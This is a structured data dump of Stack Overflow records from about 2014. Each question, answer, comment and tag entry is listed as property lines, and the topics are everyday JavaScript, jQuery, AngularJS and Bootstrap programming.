has body: i need to multiple bootstrap 3 modal in one page. I change ID for each modal box and this worked But IDs must be unique. HTML : &lt;span class="filesicon"&gt;&lt;a data-target="#myModal-1" href="#" data-toggle="modal" type="button"&gt;&lt;i class="mce-ico mce-i-browse"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/span&gt; &lt;span class="filesicon"&gt;&lt;a data-target="#myModal-2" href="#" data-toggle="modal" type="button"&gt;&lt;i class="mce-ico mce-i-browse"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/span&gt; &lt;div class="modal fade" id="myModal-1"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&amp;times;&lt;/button&gt; &lt;h4 class="modal-title"&gt;Modal title&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body" style="padding:0px; margin:0px width: 560px;"&gt; &lt;iframe width="560" height="400" src="" frameborder="0" style="overflow: scroll; overflow-x: hidden; overflow-y: scroll; "&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="modal fade" id="myModal-2"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal" aria-hidden="true"&gt;&amp;times;&lt;/button&gt; &lt;h4 class="modal-title"&gt;Modal title&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body" style="padding:0px; margin:0px width: 560px;"&gt; &lt;iframe width="560" height="400" src="" frameborder="0" style="overflow: scroll; overflow-x: hidden; overflow-y: scroll; "&gt;&lt;/iframe&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; My way Is True? If Not, Please tell me better way.
tagged with: twitter-bootstrap
type: UnansweredQuestion

underscore.js
tags question: http://stackoverflow.com/q/25853023
tags question: http://stackoverflow.com/q/25788790
tags question: http://stackoverflow.com/q/25796619
tags question: http://stackoverflow.com/q/25758629
type: Tag
tags question: http://stackoverflow.com/q/25776098
tags question: http://stackoverflow.com/q/25767334
tags question: http://stackoverflow.com/q/25745813
tags question: http://stackoverflow.com/q/25791915
tags question: http://stackoverflow.com/q/25774063
tags question: http://stackoverflow.com/q/25778652
tags question: http://stackoverflow.com/q/25824501
tags question: http://stackoverflow.com/q/25764719
tag name: underscore.js
tags question: http://stackoverflow.com/q/25842557
tags question: http://stackoverflow.com/q/25740124
tags question: http://stackoverflow.com/q/25741448
tags question: http://stackoverflow.com/q/25726066
tags question: http://stackoverflow.com/q/25851568
tags question: http://stackoverflow.com/q/25854002
tags question: http://stackoverflow.com/q/25805148
tags question: http://stackoverflow.com/q/25738420
tags question: http://stackoverflow.com/q/25730866
tags question: http://stackoverflow.com/q/25830880
tags question: http://stackoverflow.com/q/25773012
tags question: http://stackoverflow.com/q/25855709
tags question: http://stackoverflow.com/q/25746811
tags question: http://stackoverflow.com/q/25867016
tags question: http://stackoverflow.com/q/25855468
tags question: http://stackoverflow.com/q/25769517
tags question: http://stackoverflow.com/q/25839482
tags question: http://stackoverflow.com/q/25758928
tags question: http://stackoverflow.com/q/25757802
tags question: http://stackoverflow.com/q/25807641
tags question: http://stackoverflow.com/q/25780260

http://stackoverflow.com/q/25857118
has answer: http://stackoverflow.com/a/25857176
has body: Is there an easy, concise way to get an array of the property values of an object, something akin to Object.keys()? So something much simpler than the following code, for instance: function objProps (obj) { var props = [], keys = Object.keys(obj), len = keys.length; for (var i = 0; i &lt; len; i++) { props.push(obj[keys[i]]); } return props; }
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25857176
type: Question
has title: Is there an Object.properties() corresponding to Object.keys()?
tagged with: javascript
score: 0
answer count: 1

http://stackoverflow.com/comment/40259014
comment on: http://stackoverflow.com/q/25746562
type: Comment
type: QuestionComment
score: 0
has text: `$.noConflict();` must not break plugins, or at least only those badly-written ones that you wouldn't use anyway.

http://stackoverflow.com/a/25804032
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25803657
has body: Is this what you want to do ? &lt;div&gt;{{subtitle.subtitle }} &lt;a href="#" ng-show="subtitle.authorName"&gt;&lt;img src="https://www.gravatar.com/avatar/76e03db06bb6dcf24f95bf4d354486db?s=32&amp;d=identicon&amp;r=PG" /&gt;{{ subtitle.authorName}}&lt;/a&gt; &lt;/div&gt; http://plnkr.co/edit/6tnGlTLeLUZdiGCUHDFV?p=preview The ng-show directive allows you to show or hide the given HTML element based on the expression provided. See the Official doc

http://stackoverflow.com/comment/40249156
type: Comment
type: QuestionComment
has text: Also, `var` your loop variables.
score: 1
comment on: http://stackoverflow.com/q/25742112

http://stackoverflow.com/comment/41469410
has text: Like the code I wrote above. Just after 'Now I show you some piece of that code:'
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25816270

http://stackoverflow.com/comment/40403646
type: Comment
comment on: http://stackoverflow.com/a/25826109
has text: Thank you, didn't find this function!
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40263222
score: 0
comment on: http://stackoverflow.com/q/25748891
type: Comment
type: QuestionComment
has text: I could preprocess the list but I was hoping handlebars would give me access to the previous item so I could do this directly in the template. If that's the "handlebars way" I guess I'll have to though.

http://stackoverflow.com/q/25775486
tagged with: for-loop
has answer: http://stackoverflow.com/a/25775597
upvote count: 5
linked to: http://stackoverflow.com/q/242841
tagged with: javascript
score: 4
has comment: http://stackoverflow.com/comment/40310962
favorite count: 0
tagged with: iteration
linked to: http://stackoverflow.com/q/280713
answer count: 5
linked to: http://stackoverflow.com/q/3010840
type: UnansweredQuestion
has title: for var index in vs. forEach
has answer: http://stackoverflow.com/a/25775550
has answer: http://stackoverflow.com/a/25775569
has comment: http://stackoverflow.com/comment/40310960
tagged with: loops
downvote count: 1
has answer: http://stackoverflow.com/a/25775531
has body: In javascript, if i want to loop through every element in an array, i have several methods to do that: 1. for(var i =0; i&lt;array.length; i++){} 2. array.forEach(function(item, index){}); 3. for (var index in array){} The first one is the common one, but if i feel lazy, i want to use the second or third one. But i wonder if there's any difference between them, and in what situation should i choose which?
type: Question
tagged with: iterator
has answer: http://stackoverflow.com/a/25775567

http://stackoverflow.com/q/25772021
linked to: http://stackoverflow.com/q/17497006
answer count: 0
has comment: http://stackoverflow.com/comment/40304018
duplicate of: http://stackoverflow.com/q/17497006
type: Question
has body: My web application has many views(templates) and there is no static pattern to composed the templateUrl just from route parameters. Considering the flexibility to update the routes, I stores the routing table in a SQL server and create a RESTful web service to retrieve&amp;update the route-template records. However, I find no way to call $http and $rootScope in AngularJS during configuration phrase. I understand .config happens before .run in AngularJS. In configuration, we can only access to constant and providers. But since I'm using templateUrl function, the function body is called at run time. I was wondering if there's any way to inject $http and $rootScope in my templateUrl function which will be executed at run phrase... angular.module('app', ['ngRoute']).config(['$routeProvider', function ($routeProvider) { $routeProvider. when('/:param1/:param2/:param3', { templateUrl: function(element){ // $http GET routing table from RESTful API // store the table to $rootScope // look up table with param1+param2+param3 as key, get template url return templateUrlFromTable ; }}). otherwise({redirectTo: '/'}); }]) I'm very new to AngularJS, any other suggestion is also welcome. Also, please correct me if my understanding is wrong. Thanks.
tagged with: javascript
has comment: http://stackoverflow.com/comment/40451437
score: 0
linked to: http://stackoverflow.com/q/13681116
linked to: http://stackoverflow.com/q/15286588
has title: How to inject $http in ng-route templateUrl funcion?
tagged with: angularjs
type: UnansweredQuestion
tagged with: ngroute

http://stackoverflow.com/comment/40200464
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25715941
has text: so how can it works on other page that i did and not in the page i am doing now?
score: 0

http://stackoverflow.com/q/25845202
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25845487
has comment: http://stackoverflow.com/comment/40438588
has comment: http://stackoverflow.com/comment/40438116
downvote count: 0
has answer: http://stackoverflow.com/a/25845627
tagged with: javascript
score: 1
has answer: http://stackoverflow.com/a/25846546
has body: I am completed newbie to Angular. So I have date value for created_at. which is 2008-04-25 00:00:00 I want to get only the day similarly month in English. I have tried the following to make sample to get Year alone. But the filter not seems to be working. What am I doing wrong? Recent Study Jul {{ x.study_description }}
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25860256
has title: Date formatting AngularJS to display only the day and month
has comment: http://stackoverflow.com/comment/40440955
answer count: 4
type: UnansweredQuestion

http://stackoverflow.com/comment/40425633
has text: @KarolyHorvath The OP did reply about the maximum and explained why regex, Error: invalid sarcasm. Although I hope they read my comment, because regex for this is so the wrong solution
comment on: http://stackoverflow.com/q/25838291
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40440488
type: AnswerComment
has text: Sure, please edit your question and post more code so I can better understand how you proceed : your routing code, the showWelcomeMessage, etc...
type: Comment
comment on: http://stackoverflow.com/a/25845626
score: 1

http://stackoverflow.com/comment/40300629
type: QuestionComment
comment on: http://stackoverflow.com/q/25770152
score: 0
has text: possible duplicate of [How do you convert a JavaScript date to UTC?](http://stackoverflow.com/questions/948532/how-do-you-convert-a-javascript-date-to-utc)
type: Comment

http://stackoverflow.com/q/25777232
linked to: http://stackoverflow.com/q/15090942
has title: JQuery Dynamic Selector Event Handler
answer count: 1
tagged with: jquery
has body: I'm trying to fix an issue on the mobile navigation of this page: http://tinyurl.com/kq9xs6h The tags are dynamically created in a JS function: mobile_advanced = menu.clone().attr({id:"mobile-advanced", "class":""}), Which results in generating this HTML line: &lt;ul class="" id="mobile-advanced" style="position: absolute;"&gt; The following code is working when using the browser console (so when the html has been generated): jQuery('#mobile-advanced a').on('click', function() { jQuery('body').removeClass('show_mobile_menu'); jQuery('body').removeClass('show_mobile_meta'); jQuery('body').css({'height':'auto'}); }); But when I insert it in my JS file, the event's handler is not understood. Where should I put this piece of code or how do I need to modify it so the handler is taken into account?
has comment: http://stackoverflow.com/comment/40314226
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25777336
linked to: http://stackoverflow.com/q/18308480
has comment: http://stackoverflow.com/comment/40355293
has comment: http://stackoverflow.com/comment/40314286
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/40354331
has comment: http://stackoverflow.com/comment/40314552
type: Question
duplicate of: http://stackoverflow.com/q/18308480
tagged with: javascript

http://stackoverflow.com/comment/40248571
type: Comment
comment on: http://stackoverflow.com/a/25734610
has text: I get an error message when the view renders at the part `@Html.ListBoxFor(model => model.SelectedSubcategories, Model.SubcategoryList)`, it says `System.NullReferenceException: Object reference not set to an instance of an object.` Any one more thing, you said that now it returns the IDs of the subcategories selected, so I guess I will need also to change the inside of foreach statement, in order to add the subcategories to user, I mean I probably need to find the subcategory with specific id and add that subcategory to user. I also did edit and posted my subcategory class.
type: AnswerComment
score: 0

http://stackoverflow.com/q/25770745
has answer: http://stackoverflow.com/a/25776333
answer count: 2
upvote count: 1
has body: I'm looking at the RxJS docs for something like bacon's flatMapWithConcurrencyLimit, but don't see anything. Any idea if it's available in Rx or not?
tagged with: rxjs
favorite count: 0
has answer: http://stackoverflow.com/a/74737103
type: UnansweredQuestion
tagged with: reactive-programming
downvote count: 0
has title: Flatmap concurrency limit (like bacon.js)?
tagged with: frp
score: 1
type: Question
tagged with: javascript

http://stackoverflow.com/q/25782331
has comment: http://stackoverflow.com/comment/40322951
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25782450
type: Question
has title: Javascript populates input, but not span?
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25782465
has body: I am using Select2 dropdown menu to get data from database threw ajax and json/php. The option i make will then populate some input fileds for editing the database. I use (This field get´s populated ok): &lt;input type="text" class="form-control" name="valt_element_id" id="valt_element_id" placeholder="Objekt ID" /&gt; But on some field i just want to show the data, not to be edited. I figured to use: &lt;span id="valt_element_id"&gt;&lt;/span&gt; But this span code won´t work! Why? JS: $(document).ready(function(){ var valtObjektElement = $('#valj_objekt_element'); $('#valj_objekt_element').select2({ ajax: { url: "valj_objekt_element.php", dataType: 'json', data: function (term, page) { return { q: term }; }, results: function (data, page) { return { results: data }; } } // Ajax Call }); // Select2 // Start Change $(valtObjektElement).change(function() { var ElementId = $(valtObjektElement).select2('data').id; var ObjektNummer = $(valtObjektElement).select2('data').text; $('#valt_element_id').val(ElementId); $('#valt_objekt_nummer').val(ObjektNummer); }); //Change }); //Domument Ready
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25782499
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25782450
has answer: http://stackoverflow.com/a/25782465
tagged with: jquery-select2
has comment: http://stackoverflow.com/comment/40322698
tagged with: http://stackoverflow.com/tag/html
tagged with: php

http://stackoverflow.com/a/25799077
has comment: http://stackoverflow.com/comment/40354041
downvote count: 1
has comment: http://stackoverflow.com/comment/40353955
score: 0
upvote count: 1
has body: Revised answer in comment below. My initial wrong answer: The lifecycle function componentWillUpdate will be ran when new state or props are received. You can find documentation on it here: http://facebook.github.io/react/docs/component-specs.html#updating-componentwillupdate If, when the external setState is called, you then set showAdvanced to true in componentWillUpdate, you should get the desired result. EDIT: Another option would be to have the external call to setState include showAdvanced: true in its new state.
type: Answer
answers question: http://stackoverflow.com/q/25798803

http://stackoverflow.com/a/25733668
has body: If you click on an image, you can use .getLayer() to get a reference to the layer that your clicked image is on. stage.on('click', function(e) { console.log('layer:',e.target.getLayer().id()); }); KineticJS does not listen for clicks on the empty part of a layer. Therefore, if you click on an empty part of the stage then you cannot tell which layer was clicked. But since since layer2 is above layer then if you click on the empty part of the stage then you're always clicking on the top layer (layer2).
answers question: http://stackoverflow.com/q/25726071
downvote count: 0
score: 1
type: Answer
upvote count: 1

http://stackoverflow.com/a/25850069
accepted answer of: http://stackoverflow.com/q/25839189
has body: This turned out to be an issue with Google Chrome Version 36.0.1985.143 Using Firefox 32 I was pointed to the correct line with issue.
answers question: http://stackoverflow.com/q/25839189
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/q/25730546
type: Question
has answer: http://stackoverflow.com/a/25730684
has answer: http://stackoverflow.com/a/25730733
answer count: 2
has comment: http://stackoverflow.com/comment/40227655
has title: jquery autocomplete does not fire
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25730733
score: 0
tagged with: jquery-autocomplete
accepted answer: http://stackoverflow.com/a/25730684
has body: I am trying to implement autocomplete into my existing application. The autcomplete never seems to fire. Here is my code: Tags: My referenced js css files look like the following: What am I doing wrong?
has comment: http://stackoverflow.com/comment/40227736
tagged with: css
has comment: http://stackoverflow.com/comment/40227879
type: AnsweredQuestion

http://stackoverflow.com/comment/40277266
comment on: http://stackoverflow.com/q/25757110
has text: you want to observe the container where the new content is appended.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40419333
score: 1
type: AnswerComment
has text: I feel like Opal isn't meant to be a platform to run already-existing Ruby apps in the browser, but to allow people to code for the browser in Ruby. Maybe this is why strings are not tampered with when converting code.
type: Comment
comment on: http://stackoverflow.com/a/25715349

turbolinks
tags question: http://stackoverflow.com/q/25749658
tag name: turbolinks
type: Tag

http://stackoverflow.com/q/25723203
tagged with: css
has comment: http://stackoverflow.com/comment/40214353
has comment: http://stackoverflow.com/comment/40214184
has comment: http://stackoverflow.com/comment/40214464
has comment: http://stackoverflow.com/comment/40215676
has title: blank space occurs after footer in my html page
type: Question
has comment: http://stackoverflow.com/comment/40213754
score: 0
has comment: http://stackoverflow.com/comment/40214316
has body: i have a html page,it's displaying well if i put my css code in the html.for example My header Content My Footer when i put this css into external stylesheet it displaying well in first time but after i reloading the same page the empty space occurs at bottom of the page.For example style.css html, body { margin:0; padding:0; height:100%; } #wrapper { min-height:100%; position:relative; } #header { padding:10px; background:#5ee; } #content { padding:10px; padding-bottom:80px; /* Height of the footer element */ } #footer { width:100%; height:80px; position:absolute; bottom:0; left:0; background:#ee5; } my.html How To Keep Your Footer At The Bottom of The Page - CSSReset.com header content footer how to correct this error? Any help will be greately appreciated.
has comment: http://stackoverflow.com/comment/40214129
has answer: http://stackoverflow.com/a/25723317
answer count: 1
has comment: http://stackoverflow.com/comment/40213768
has comment: http://stackoverflow.com/comment/40213983
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40214273

http://stackoverflow.com/q/25786376
type: UnansweredQuestion
tagged with: selenium
has comment: http://stackoverflow.com/comment/40329817
type: Question
has title: Selenium - Unable to Locate Element using Relative Xpath
has answer: http://stackoverflow.com/a/25786447
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has body: Unable to Locate Element using Xpath.. xpath = //label[contains(text(),'Create a guest user')] Html source code : Create a guest user
tagged with: http://stackoverflow.com/tag/html
tagged with: xpath

http://stackoverflow.com/comment/40477376
has text: Wooooowwwww!!!! That's amazing.... But my map contains `path` not `rect` or even `circle`. How can I append that and set the `attr`. Can you provide me example using `path`? Thanks sir :)
type: AnswerComment
comment on: http://stackoverflow.com/a/25867084
type: Comment
score: 0

http://stackoverflow.com/comment/40446568
type: Comment
comment on: http://stackoverflow.com/a/25849997
has text: Then my 2nd edit should work. And just to make sure you're not really using `response.js` as your variable, you can't use `.` in variable names.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40236043
comment on: http://stackoverflow.com/q/25734807
has text: You want full text to be hidden or just "Test" one???
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/107528891
type: Comment
score: 6
has text: Dude, sha256 is a cryptographically secure hash function. The probability of having 2 different files with the hash are so tiny that it is ridiculous to ever mention it.
type: AnswerComment
comment on: http://stackoverflow.com/a/38071247

http://stackoverflow.com/a/25774169
score: 2
has comment: http://stackoverflow.com/comment/40308111
upvote count: 2
has body: Firstly, the map method is more appropriate in this case, because you're mapping an array of names to an array of Animals // I renamed AnimalMaker // In JS it's a convention to capitalize constructors and keep normal functions camel-case var createAnimal = function(name) { return { speak: function() { console.log("my name is", name); } }; }; var names = ["Chicken", "Cow", "Pig"]; var animals = us.map(names, createAnimal); With this code you've created a list of animals. Now you still need to make those animals speak: us.each(animals, function(animal) { animal.speak(); }); Or use invoke to call a method for each object in a list: us.invoke(animals, "speak"); Without underscore (native javascript in node.js) you could also write: var animals = names.map(createAnimal); animals.forEach(function(animal) { animal.speak(); });
downvote count: 0
answers question: http://stackoverflow.com/q/25774063
type: Answer

http://stackoverflow.com/q/25836507
score: 1
type: Question
has comment: http://stackoverflow.com/comment/134810417
has answer: http://stackoverflow.com/a/25836776
tagged with: javascript
tagged with: directed-graph
upvote count: 1
answer count: 1
downvote count: 0
favorite count: 0
has body: I'm looking for a js graphing library that supports creating directed acyclic graphs using drag and drop. The UI would have a canvas with a list of elements that can be dragged onto the canvas to create a directed acyclic graph. Objects have labels and properties. Relationships between objects are depicted by the connections between them. I've seen a number of great threads with thorough lists of js libraries but none of them seemed to be designed for building a drag and drop UI. They seem quite capable of rendering predesigned graphs.
tagged with: drag-and-drop
type: UnansweredQuestion
has title: js library for directed acyclic graphs with drag and drop support
tagged with: directed-acyclic-graphs

http://stackoverflow.com/comment/40466059
has text: Only pressing minus button is not constructing at all! Please leave comment, how can I improve my question!
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25847390

http://stackoverflow.com/a/70619741
type: Answer
has comment: http://stackoverflow.com/comment/124840723
answers question: http://stackoverflow.com/q/25770116
has comment: http://stackoverflow.com/comment/124922300
has body: just append a new input for each file, (jQuery v3.6.0) done: function (data) { $.each(data, function(index, value) { $('#yourformid').append(' '); }); }
score: 0

http://stackoverflow.com/comment/40334951
type: Comment
type: QuestionComment
has text: Add your controller code as well.
comment on: http://stackoverflow.com/q/25789139
score: 0

http://stackoverflow.com/a/25836779
answers question: http://stackoverflow.com/q/25834569
has comment: http://stackoverflow.com/comment/42858566
score: 0
type: Answer
has body: I found that my problem is related with how I'm calculating the drag distance. The code above clearly shows that I'm using solely the position of pageX to calculate the transformX, which is absolutely wrong. The correct way is to store the start point from where the drag is happening from and the current dragging x value should be used to calculate the distance. For example, this.$moveElement.on('touchstart mousedown', function (e) { var touch = e.originalEvent.touches[0]; self.touchDistance.start = touch.pageX; }); this.$moveElement.on('touchmove', function (e) { var touch = e.originalEvent.touches[0], distance = 0; self.touchDistance.end = touch.pageX; distance = self.touchDistance.end - self.touchDistance.start; self.dragIt(distance); }); With this, I've got a working solution, as we can see here http://jsbin.com/quhabi/2/edit Thanks for looking, hope this is useful for someone else in the future!

http://stackoverflow.com/comment/40377523
has text: Try `if (run==1){check()}` in your scrollstop function
score: 0
comment on: http://stackoverflow.com/q/25812414
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40198052
comment on: http://stackoverflow.com/a/25714383
type: AnswerComment
has text: @user2613088 so long as you include this file after you have loaded jQuery it should work fine. If not, place your script into a `ready` event like this: `$(document).ready(function () { //your script here });`
score: 0
type: Comment

http://stackoverflow.com/a/25844369
accepted answer of: http://stackoverflow.com/q/25844316
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: You're missing ); at the end: $(document).ready ( function(){ function handleSelectChange(){ console.log("trigged!!!"); } $("#select_refresh").change(handleSelectChange); }); See it working here
upvote count: 3
answers question: http://stackoverflow.com/q/25844316
score: 3

http://stackoverflow.com/a/25731649
score: 1
has body: You can just enter .json after :id, check: https://docs.angularjs.org/api/ngResource/service/$resource#usage
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25731129
accepted answer of: http://stackoverflow.com/q/25731129
upvote count: 1

http://stackoverflow.com/a/25812319
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25810814
downvote count: 0
has body: YouTube Topic explorer uses iframe inside the angular script. You can basically create your own function or directive to use the iFrame.

http://stackoverflow.com/q/25826084
has title: How to put a comma between arrays in JavaScript
tagged with: arrays
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
score: -2
type: AnsweredQuestion
upvote count: 2
has body: Here is a code... How can I put commas between Id's?
has answer: http://stackoverflow.com/a/25826134
possible better answer: http://stackoverflow.com/a/25826149
type: Question
has answer: http://stackoverflow.com/a/25826149
has comment: http://stackoverflow.com/comment/40403441
tagged with: javascript
has comment: http://stackoverflow.com/comment/40402709
downvote count: 4
answer count: 2
accepted answer: http://stackoverflow.com/a/25826134

http://stackoverflow.com/a/25832078
has body: Try something like this and call the onload method. This will make sure that the image is loaded to the DOM before you resize var img = $('&lt;img&gt;'); img.src = src ; img.onload = function() { // Run onload code. } ;
answers question: http://stackoverflow.com/q/25832048
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40428109

http://stackoverflow.com/comment/40263655
score: 0
has text: `$scope` would be available in to the *modal.open* method, I thought you were talking about resolve in general as it happens with the `$routeProvider`
type: Comment
comment on: http://stackoverflow.com/a/25749791
type: AnswerComment

http://stackoverflow.com/comment/40354785
score: 0
type: AnswerComment
has text: No worries about the comments. Glad I could help.
type: Comment
comment on: http://stackoverflow.com/a/25799441

http://stackoverflow.com/comment/40242060
score: 0
type: AnswerComment
has text: Thank you, this did exactly what I was trying to achieve here! I was going to say that it's not working properly, but you managed to edit it out before that. Good job!
type: Comment
comment on: http://stackoverflow.com/a/25737829

http://stackoverflow.com/q/25735538
has answer: http://stackoverflow.com/a/25735675
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: Here's my code. var reqshdate = get_req_sh_date(); function get_req_sh_date() { var reqshdateField = document.getElementById("A0.R0.ZDate_12"); if (!reqshdateField) { return "[Requested Ship Date]"; } //field isn't on layout if (typeof reqshdateField.innerHTML == 'undefined' ) { return "[Requested Ship Date]"; } // field is blank var returnString = removeHTML(reqshdateField.innerHTML); return returnString; } When there's a value on the date/time field, it displays the value. But when there's no date/time inputted, it should display [Requested Ship Date]. Please help. Thanks!
tagged with: time
type: UnansweredQuestion
tagged with: date
type: Question
has title: How to get value from inputted date/time field in javascript?

http://stackoverflow.com/comment/40849811
type: AnswerComment
comment on: http://stackoverflow.com/a/26072041
has text: When the edit dialog window is opened and user click on delete, the dialog should be close.
score: 0
type: Comment

http://stackoverflow.com/comment/40362089
score: 0
type: Comment
type: QuestionComment
has text: Is there error in the console? Have you inspect the container to see if the carousel is rendered?
comment on: http://stackoverflow.com/q/25803690

http://stackoverflow.com/q/25715809
tagged with: paperjs
has title: Path.scale gets ignored if new points are added in onFrame
tagged with: html5-canvas
has body: When drawing a path, if I add points the previously set scale gets overwritten/ignored. I cannot call scale after drawing is complete as it is being drawn while the user is watching over a long period of time. I cannot call scale within my loop where I add new points because then it gets bigger and bigger and flies off the screen. This will work var line = new Path(); line.strokeColor = 'orange'; line.add(50,50); line.add(100,50); line.scale(10); function onFrame() { line.rotate(1); } This will not var line = new Path(); line.strokeColor = 'orange'; line.scale(10); function onFrame() { line.add(50,50); line.add(100,50); line.rotate(1); } http://plnkr.co/edit/YwCj9AdcLK8kDbJaTwz9?p=preview
has answer: http://stackoverflow.com/a/25722967
type: Question
score: 0
answer count: 1
tagged with: canvas
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/q/25857634
type: UnansweredQuestion
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40460686
tagged with: javascript
score: -1
has body: I'm trying to delete an item from an array and add it to another array. The array states consists of a list of 50 states. User needs to enter the name of a state and the state must get deleted from states array and get added to the array correctState. Here is my code function searchString() { var total = 50; var string = document.getElementById("txtState").value; var element = document.getElementById("status"); for (i=0; i < states.length; i++) { if(states[i].toUpperCase() == string.toUpperCase()) { count = count + 1; //element.innerHTML = "CORRECT!!!" addElem = states.splice(i,1); correctState.push(addElem); /*for (j=0; j < correctState.length; j++) { if(correctState[j].toUpperCase() == string.toUpperCase()) { element.innerHTML = "Already Submitted. Try another State"; } }*/ } document.getElementById("score").innerHTML = count +"/"+ total; document.write(states); document.write(correctState); } } Enter State : Submit I'm not able to achieve what I need. I'm new to javascript and need help.
has comment: http://stackoverflow.com/comment/40460758
answer count: 2
has answer: http://stackoverflow.com/a/25857669
upvote count: 0
has answer: http://stackoverflow.com/a/25857671
tagged with: arrays
has comment: http://stackoverflow.com/comment/40460505
has comment: http://stackoverflow.com/comment/40460554
favorite count: 0
has comment: http://stackoverflow.com/comment/40460631
has title: deleting an item from array and add it to another array

http://stackoverflow.com/comment/40435682
score: 0
comment on: http://stackoverflow.com/q/25843857
type: QuestionComment
type: Comment
has text: [window.setTimeout()](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers.setTimeout) is useful for setting up animations like this. Basically, use your for loop to divide the array and use setTimeout to tell the browser how to change the display in the future. Important: There is no pause or wait function in Javascript.

http://stackoverflow.com/comment/40355622
type: Comment
has text: so I understand that you are using 3rd party javascript. Then you loose the control how they manage their javascript lifecycle. My proposal is only working for your own javascript which you can control and can design the lifecycle management by youself.
comment on: http://stackoverflow.com/a/25783919
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40477425
type: Comment
has text: I get the modified less variable name like, `@background` from a variable. Is there any way to replace this?
comment on: http://stackoverflow.com/a/25866806
type: AnswerComment
score: 0

http://stackoverflow.com/q/25817534
has title: Jasmine + AngularJS: How to test $rootScope.$broadcast being called with arguments?
score: 9
tagged with: karma-jasmine
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jasmine
possible better answer: http://stackoverflow.com/a/25817741
favorite count: 0
has answer: http://stackoverflow.com/a/25817934
tagged with: yeoman-generator-angular
has answer: http://stackoverflow.com/a/25817741
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40387856
linked to: http://stackoverflow.com/q/16757503
has body: I am trying to write a unit test that verifies that $rootScope.$broadcast('myApiPlay', { action : 'play' }); is called. Here is the myapi.js angular.module('myApp').factory('MyApi', function ($rootScope) { var api = {}; api.play = function() { $rootScope.$broadcast('myApiPlay', { action : 'play' }); } return api; }); And here is my Unit Test: describe('Service: MyApi', function () { // load the service's module beforeEach(module('myApp')); // instantiate service var MyApi; var rootScope; beforeEach(function () { inject(function ($rootScope, _MyApi_) { MyApi = _MyApi_; rootScope = $rootScope.$new(); }) }); it('should broadcast to play', function () { spyOn(rootScope, '$broadcast').andCallThrough(); rootScope.$on('myApiPlay', function (event, data) { expect(data.action).toBe('play'); }); MyApi.play(); expect(rootScope.$broadcast).toHaveBeenCalledWith('myApiPlay'); }); }); Here is the error i'm getting while running grunt test: PhantomJS 1.9.7 (Windows 7) Service: MyApi should broadcast to pause FAILED Expected spy $broadcast to have been called with [ 'myApiPlay' ] but it was never called. I have also tried with expect(rootScope.$broadcast).toHaveBeenCalled() and I am having a similar error: Expected spy $broadcast to have been called.. I would like to verify that that method has actually been called with the right parameters. Thank you!
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25817934
type: Question
upvote count: 9
has comment: http://stackoverflow.com/comment/40388092

http://stackoverflow.com/comment/40446134
type: AnswerComment
comment on: http://stackoverflow.com/a/25824400
type: Comment
has text: The answer I pasted works. I love to says a big thankyou to all the posters. @cory you were close but I had a problem using the parent tag and appending. So I used the document.getElement...... which works better.
score: 0

http://stackoverflow.com/comment/40305138
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25770341
has text: `$.each` is really for arrays. You could just say `$('input, select ,textarea', '#f1').prop('disabled', true);`

http://stackoverflow.com/a/25810139
downvote count: 1
has body: use this shorthand: lookfor.done =lookfor.done == '0' ? '1':'0' but much cleaner it would be with boolean: lookfor.done=true; lookfor.done=!lookfor.done;
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25810068
has comment: http://stackoverflow.com/comment/40373042
upvote count: 1

http://stackoverflow.com/q/25810491
possible better answer: http://stackoverflow.com/a/25810650
type: AnsweredQuestion
tagged with: jquery
